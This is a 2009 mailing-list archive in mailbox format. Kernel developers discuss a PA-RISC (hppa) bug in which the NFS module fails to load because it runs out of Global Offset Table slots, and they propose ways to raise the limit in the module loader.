Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753062AbZGaVIj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2009 17:08:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753065AbZGaVIi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 31 Jul 2009 17:08:38 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:44961 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753049AbZGaVIi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2009 17:08:38 -0400
Original-Received: (qmail invoked by alias); 31 Jul 2009 21:08:36 -0000
Original-Received: from p4FDB2EE7.dip0.t-ipconnect.de (EHLO halden.box) [79.219.46.231]
  by mail.gmx.net (mp001) with SMTP; 31 Jul 2009 23:08:36 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18i5WlIQ9QilXxM4sidXLrsbmoMgWipNNjhFjmM5N
	Au1DuC0Yu/ZkXX
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20090513 Fedora/3.0-2.3.beta2.fc11 Thunderbird/3.0b2
In-Reply-To: <119aab440907311149j3e17466fy3782b86399142141@mail.gmail.com>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.55
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1966 gmane.linux.debian.ports.hppa:5904
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1966>

On 07/31/2009 08:49 PM, Carlos O'Donell wrote:
> [...]
> However, on 64-bit the long format of ldd has a 16-bit signed
> immediate offset (0xffff), meaning it can reach +0x7fff e.g. 4095 GOT
> slots.
>
> Do you have the time to test something out?
>
> * Make this conditional on 32-bit vs. 64-bit and allow for 4095 GOT
> entries on 64-bit.
> * Fix ELF_GOT_STUB for the 64-bit case. It needs to reassemble a
> 16-bit offset, the current code is IMO incorrect. i.e. it should be "&
> 0x7fff", and use a new reassemble_16 see the PA 2.0 book definition of
> ldd.
> * Build kernel.
> * Test loading NFS moudle.

Carlos, thanks a lot for those explanations (and keep up your work with NPTL :-)).
I'll know what you mean, and if it works it's a good idea.
I'll try to come up with a patch.

A few notes:
- the GOT table is only used for 64bit anyway, so no need to differentiate for 32/64bits
- Another possibility could be to sort the tables, so to reduce the number of needed entries.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Bug#539378: [hppa]: fails to load nfs module: Global Offset Table
Date: Fri, 31 Jul 2009 23:09:47 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <4A735D9B.30200@gmx.de>
References: <20090731190304.C7BF55161@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249074601 3496 80.91.229.12 (31 Jul 2009 21:10:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jul 2009 21:10:01 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>, elendil@planet.nl,
	539378@bugs.debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, randolph@tausq.org,
	submit@bugs.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 31 23:09:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MWzMN-00049w-B8
	for glpp-linux-parisc@gmane.org; Fri, 31 Jul 2009 23:09:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753119AbZGaVJt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2009 17:09:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753108AbZGaVJt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 31 Jul 2009 17:09:49 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:45971 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753119AbZGaVJs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2009 17:09:48 -0400
Original-Received: (qmail invoked by alias); 31 Jul 2009 21:09:48 -0000
Original-Received: from p4FDB2EE7.dip0.t-ipconnect.de (EHLO halden.box) [79.219.46.231]
  by mail.gmx.net (mp001) with SMTP; 31 Jul 2009 23:09:48 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19/1MBEK+d/uDNvK0zql2TIghl7IueI63BgHNpJMc
	Hs47GLvyCi/pt1
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20090513 Fedora/3.0-2.3.beta2.fc11 Thunderbird/3.0b2
In-Reply-To: <20090731190304.C7BF55161@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.67
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1967 gmane.linux.debian.ports.hppa:5905
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1967>

On 07/31/2009 09:03 PM, John David Anglin wrote:
>> Only 32-bit targets have the 14-bit signed immediate offset (0x3fff),
>> which becomes a 13-bit limit when loading positive offsets e.g.
>> +0x1fff or 1023 GOT slots.
>
> Can't we offset the table and double the number of entries?

Dave,
Can you explain this idea a little more?
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Bug#539378: [hppa]: fails to load nfs module: Global Offset Table
Date: Fri, 31 Jul 2009 17:13:47 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <119aab440907311413s2e5ef1ebl690fff1bc4f0daea@mail.gmail.com>
References: <20090731190304.C7BF55161@hiauly1.hia.nrc.ca>
	 <4A735D9B.30200@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249074850 4128 80.91.229.12 (31 Jul 2009 21:14:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jul 2009 21:14:10 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, elendil@planet.nl,
	539378@bugs.debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, randolph@tausq.org,
	submit@bugs.debian.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 31 23:14:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MWzQO-0005xm-6Q
	for glpp-linux-parisc@gmane.org; Fri, 31 Jul 2009 23:14:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753018AbZGaVNt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2009 17:13:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753280AbZGaVNt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 31 Jul 2009 17:13:49 -0400
Original-Received: from mail-ew0-f214.google.com ([209.85.219.214]:54592 "EHLO
	mail-ew0-f214.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753058AbZGaVNs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2009 17:13:48 -0400
Original-Received: by ewy10 with SMTP id 10so1808237ewy.37
        for <linux-parisc@vger.kernel.org>; Fri, 31 Jul 2009 14:13:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=SCBSoq0nOYqO4NVjw0KPQ8LKhdEtR3n4ykkY5kLea5Q=;
        b=TkF6LzdgONlVCOIxUnZ99vFSRGWrXHGIGADeCkhusExMk3/keLbDTJ1k6g9bsdcrbk
         LVRoyjlZmp0lvZSa1tgkgD1O4652szoXllseVIYkq0wfkXvNzsTAHS88XShzT19RNhu4
         ilmTXxtHOpNCSAlJM3pHNdMYTlvx42McLFXds=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=P7xYI+TBogPw5+/0d9MyrrZYD9sJ5nl9OTsEfn7ULiPvpN2rpw4zdUl2MAP33o8PJ1
         +G4auIcx/JfVbeiHDM7H1yUoBDhHL+v03kX3RaJFKnzP4PeF7OAgSXKJv67YcYGXGVGS
         ntGumhgcjMsWk1CIKcSTvBerbPjC13voVbG9g=
Original-Received: by 10.216.25.209 with SMTP id z59mr564801wez.204.1249074827968; Fri, 
	31 Jul 2009 14:13:47 -0700 (PDT)
In-Reply-To: <4A735D9B.30200@gmx.de>
X-Google-Sender-Auth: dd67bc43c1dc418b
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1968 gmane.linux.debian.ports.hppa:5906
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1968>

On Fri, Jul 31, 2009 at 5:09 PM, Helge Deller<deller@gmx.de> wrote:
> On 07/31/2009 09:03 PM, John David Anglin wrote:
>>>
>>> Only 32-bit targets have the 14-bit signed immediate offset (0x3fff),
>>> which becomes a 13-bit limit when loading positive offsets e.g.
>>> +0x1fff or 1023 GOT slots.
>>
>> Can't we offset the table and double the number of entries?
>
> Dave,
> Can you explain this idea a little more?

I would also like a little more details.

However, this is similar to the DT_PLTGOT issue in dynamic libraries.
The value chosen for %dp is arbitrary, and if we made it point into
the middle of the GOT table, then you would reference the GOT using
both positive and negative offsets.

For example, this code:
fdesc->gp = (Elf_Addr)me->module_core + me->arch.got_offset;

Arbitrary chooses the module %dp to point at the start of got_offset,
why not make that got_offset + <half way>.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Bug#539378: [hppa]: fails to load nfs module: Global Offset Table
Date: Fri, 31 Jul 2009 17:14:35 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <119aab440907311414u7afb2247u584437bfb7a2a973@mail.gmail.com>
References: <20090731190304.C7BF55161@hiauly1.hia.nrc.ca>
	 <4A735D9B.30200@gmx.de>
	 <119aab440907311413s2e5ef1ebl690fff1bc4f0daea@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249074887 4216 80.91.229.12 (31 Jul 2009 21:14:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jul 2009 21:14:47 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, elendil@planet.nl,
	539378@bugs.debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, randolph@tausq.org,
	submit@bugs.debian.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 31 23:14:39 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MWzR0-0006Gd-UV
	for glpp-linux-parisc@gmane.org; Fri, 31 Jul 2009 23:14:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753204AbZGaVOg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2009 17:14:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753208AbZGaVOg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 31 Jul 2009 17:14:36 -0400
Original-Received: from ey-out-2122.google.com ([74.125.78.26]:46449 "EHLO
	ey-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753204AbZGaVOf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2009 17:14:35 -0400
Original-Received: by ey-out-2122.google.com with SMTP id 9so634929eyd.37
        for <linux-parisc@vger.kernel.org>; Fri, 31 Jul 2009 14:14:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=Wvzt0jF3UDv91ob6rlrwUv0eMHnb8x8C6NqcQyiySjE=;
        b=muyQzkKAXSvcysQvdgaPnm5WHmseJz9ZvkWXVPhyhuh8mKmwi460zF2EME3pvxHpi4
         PikXxvkS68dsxiPkz5zAhlh2WsEwIMnqcPnPv3SHuyiW4ykN2fFPI4+9TQfyXcf833C5
         rVz+tOzmuox7TQi+kZ23WIri2AuTRUu8b+4OA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=pkyNiGo66x0P4C0blkXoT94vP9XZRRF84RDUbmSsb7ZaQNa6ypcq+/SzojHxXhbG+x
         U4PO5OE9Mn3zw1ZoE8E9ALu2obCxu0MaqRl+yBUKG+LhIl0mrdrq/cx0cchDPIXswcgr
         2095BVIqUyiOToT7uHXo84hcOLlwsRhnMtFEY=
Original-Received: by 10.216.86.204 with SMTP id w54mr621900wee.54.1249074875505; Fri, 
	31 Jul 2009 14:14:35 -0700 (PDT)
In-Reply-To: <119aab440907311413s2e5ef1ebl690fff1bc4f0daea@mail.gmail.com>
X-Google-Sender-Auth: 8375b08b873663aa
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1969 gmane.linux.debian.ports.hppa:5907
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1969>

On Fri, Jul 31, 2009 at 5:13 PM, Carlos O'Donell<carlos@systemhalted.org> wrote:
> On Fri, Jul 31, 2009 at 5:09 PM, Helge Deller<deller@gmx.de> wrote:
>> On 07/31/2009 09:03 PM, John David Anglin wrote:
>>>>
>>>> Only 32-bit targets have the 14-bit signed immediate offset (0x3fff),
>>>> which becomes a 13-bit limit when loading positive offsets e.g.
>>>> +0x1fff or 1023 GOT slots.
>>>
>>> Can't we offset the table and double the number of entries?
>>
>> Dave,
>> Can you explain this idea a little more?
>
> I would also like a little more details.
>
> However, this is similar to the DT_PLTGOT issue in dynamic libraries.
> The value chosen for %dp is arbitrary, and if we made it point into
> the middle of the GOT table, then you would reference the GOT using
> both positive and negative offsets.
>
> For example, this code:
> fdesc->gp = (Elf_Addr)me->module_core + me->arch.got_offset;
>
> Arbitrary chooses the module %dp to point at the start of got_offset,
> why not make that got_offset + <half way>.

Let me be clearer, the value of "(Elf_Addr)me->module_core +
me->arch.got_offset" is the start of the GOT table for the module.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Bug#539378: [hppa]: fails to load nfs module: Global Offset Table
Date: Fri, 31 Jul 2009 17:26:32 -0400 (EDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <20090731212634.737DB4CFD@hiauly1.hia.nrc.ca>
References: <119aab440907311413s2e5ef1ebl690fff1bc4f0daea@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249075626 6159 80.91.229.12 (31 Jul 2009 21:27:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jul 2009 21:27:06 +0000 (UTC)
Cc: deller@gmx.de, elendil@planet.nl, 539378@bugs.debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	randolph@tausq.org, submit@bugs.debian.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 31 23:26:58 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MWzcw-0002HG-8j
	for glpp-linux-parisc@gmane.org; Fri, 31 Jul 2009 23:26:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752940AbZGaV0z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2009 17:26:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752950AbZGaV0z
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 31 Jul 2009 17:26:55 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2153 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752940AbZGaV0z (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2009 17:26:55 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 737DB4CFD; Fri, 31 Jul 2009 17:26:33 -0400 (EDT)
In-Reply-To: <119aab440907311413s2e5ef1ebl690fff1bc4f0daea@mail.gmail.com> from "Carlos O'Donell" at Jul 31, 2009 05:13:47 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1970 gmane.linux.debian.ports.hppa:5908
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1970>

> On Fri, Jul 31, 2009 at 5:09 PM, Helge Deller<deller@gmx.de> wrote:
> > On 07/31/2009 09:03 PM, John David Anglin wrote:
> >>>
> >>> Only 32-bit targets have the 14-bit signed immediate offset (0x3fff),
> >>> which becomes a 13-bit limit when loading positive offsets e.g.
> >>> +0x1fff or 1023 GOT slots.
> >>
> >> Can't we offset the table and double the number of entries?
> >
> > Dave,
> > Can you explain this idea a little more?
> 
> I would also like a little more details.
> 
> However, this is similar to the DT_PLTGOT issue in dynamic libraries.
> The value chosen for %dp is arbitrary, and if we made it point into
> the middle of the GOT table, then you would reference the GOT using
> both positive and negative offsets.
> 
> For example, this code:
> fdesc->gp = (Elf_Addr)me->module_core + me->arch.got_offset;
> 
> Arbitrary chooses the module %dp to point at the start of got_offset,
> why not make that got_offset + <half way>.

I don't have more details...  The idea is as Carlos outlined.  There's
code in the binutils elf32-hppa.c and elf64-hppa.c files to implement
the above for dynamic libraries.  That's what made me think of it.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Bug#539378: [hppa]: fails to load nfs module: Global Offset Table
Date: Fri, 31 Jul 2009 18:00:48 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <119aab440907311500v14b192e7t8a244d9d3b2c482e@mail.gmail.com>
References: <119aab440907311413s2e5ef1ebl690fff1bc4f0daea@mail.gmail.com>
	 <20090731212634.737DB4CFD@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1249077678 11549 80.91.229.12 (31 Jul 2009 22:01:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jul 2009 22:01:18 +0000 (UTC)
Cc: deller@gmx.de, elendil@planet.nl, 539378@bugs.debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	randolph@tausq.org, submit@bugs.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 01 00:01:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MX09m-0007tx-13
	for glpp-linux-parisc@gmane.org; Sat, 01 Aug 2009 00:00:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751889AbZGaWAu convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2009 18:00:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752015AbZGaWAu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 31 Jul 2009 18:00:50 -0400
Original-Received: from mail-ew0-f214.google.com ([209.85.219.214]:41673 "EHLO
	mail-ew0-f214.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751889AbZGaWAt convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2009 18:00:49 -0400
Original-Received: by ewy10 with SMTP id 10so1828940ewy.37
        for <linux-parisc@vger.kernel.org>; Fri, 31 Jul 2009 15:00:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=0qSOuoYBLVUEJKX6LSxUExp7HhpnTFwUzmeuU7c6+1s=;
        b=R2R6SB4UM3jpRV1Eh5FGX8yoASly1uCfqqPyDIuQx4Wv7tj7d6DP4H16VVPquq7xww
         7Lv35qFpaittCRaCavPcYTPinix2E6q3x8d4aHbZ7O8uJniWzV76+Ri1dRnIGuM31FTM
         ZtB7dO0Aszk6q7mHu1/qia2Kf787f5sVAspto=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=v8NUs87efufF66OcXC3d7NcttzIJn/WCvCINhv6+yOnlbe/ch68uQTQ/Nh1lYhEMR1
         5LVWU37cLMdhD+SPNCJMJ5/Ejj6w/s/H/GR5OlJCrBa/3vYQMcyQ9X48G2aeo96PmxI4
         Bf4vZMqRwgk9q+PgTVhN3GbZ8siHIClvJUO+k=
Original-Received: by 10.216.48.195 with SMTP id v45mr569264web.123.1249077648631; Fri, 
	31 Jul 2009 15:00:48 -0700 (PDT)
In-Reply-To: <20090731212634.737DB4CFD@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 004bc08f9abeeacd
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1971 gmane.linux.debian.ports.hppa:5910
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1971>

On Fri, Jul 31, 2009 at 5:26 PM, John David
Anglin<dave@hiauly1.hia.nrc.ca> wrote:
> I don't have more details... =A0The idea is as Carlos outlined. =A0Th=
ere's
> code in the binutils elf32-hppa.c and elf64-hppa.c files to implement
> the above for dynamic libraries. =A0That's what made me think of it.

Binutils is not involved in the kernel module loader, instead
arch/parisc/kernel/module.c (get_fdesc) chooses where the gp will
point to.

If you set gp to the middle of the GOT table, *and* implement
long/short ldd access on 64-bit, then you would get a total of 8191
possible slots per module.

Personally I think the lower risk, quicker fix, is to implement a fix
for 64-bit kernels that uses ldd in format 3 for all offsets > 15
bytes, and thus allow you to set MAX_GOTS to 4095.

Note: ldd format 3 can't be used to load immediate values between 15
and -16 bytes.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@ut.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Sat, 1 Aug 2009 02:16:29 +0300 (EEST)
Lines: 54
Approved: news@gmane.org
Message-ID: <Pine.SOC.4.64.0908010202020.15830@math.ut.ee>
References: <20090731144654.F3D374CFD@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1249083427 23919 80.91.229.12 (31 Jul 2009 23:37:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jul 2009 23:37:07 +0000 (UTC)
Cc: Thibaut VARENE <varenet@parisc-linux.org>, randolph@tausq.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 01 01:37:00 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MX1ek-0002VK-8z
	for glpp-linux-parisc@gmane.org; Sat, 01 Aug 2009 01:36:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751355AbZGaXgz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2009 19:36:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751356AbZGaXgz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 31 Jul 2009 19:36:55 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:50750 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751355AbZGaXgy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2009 19:36:54 -0400
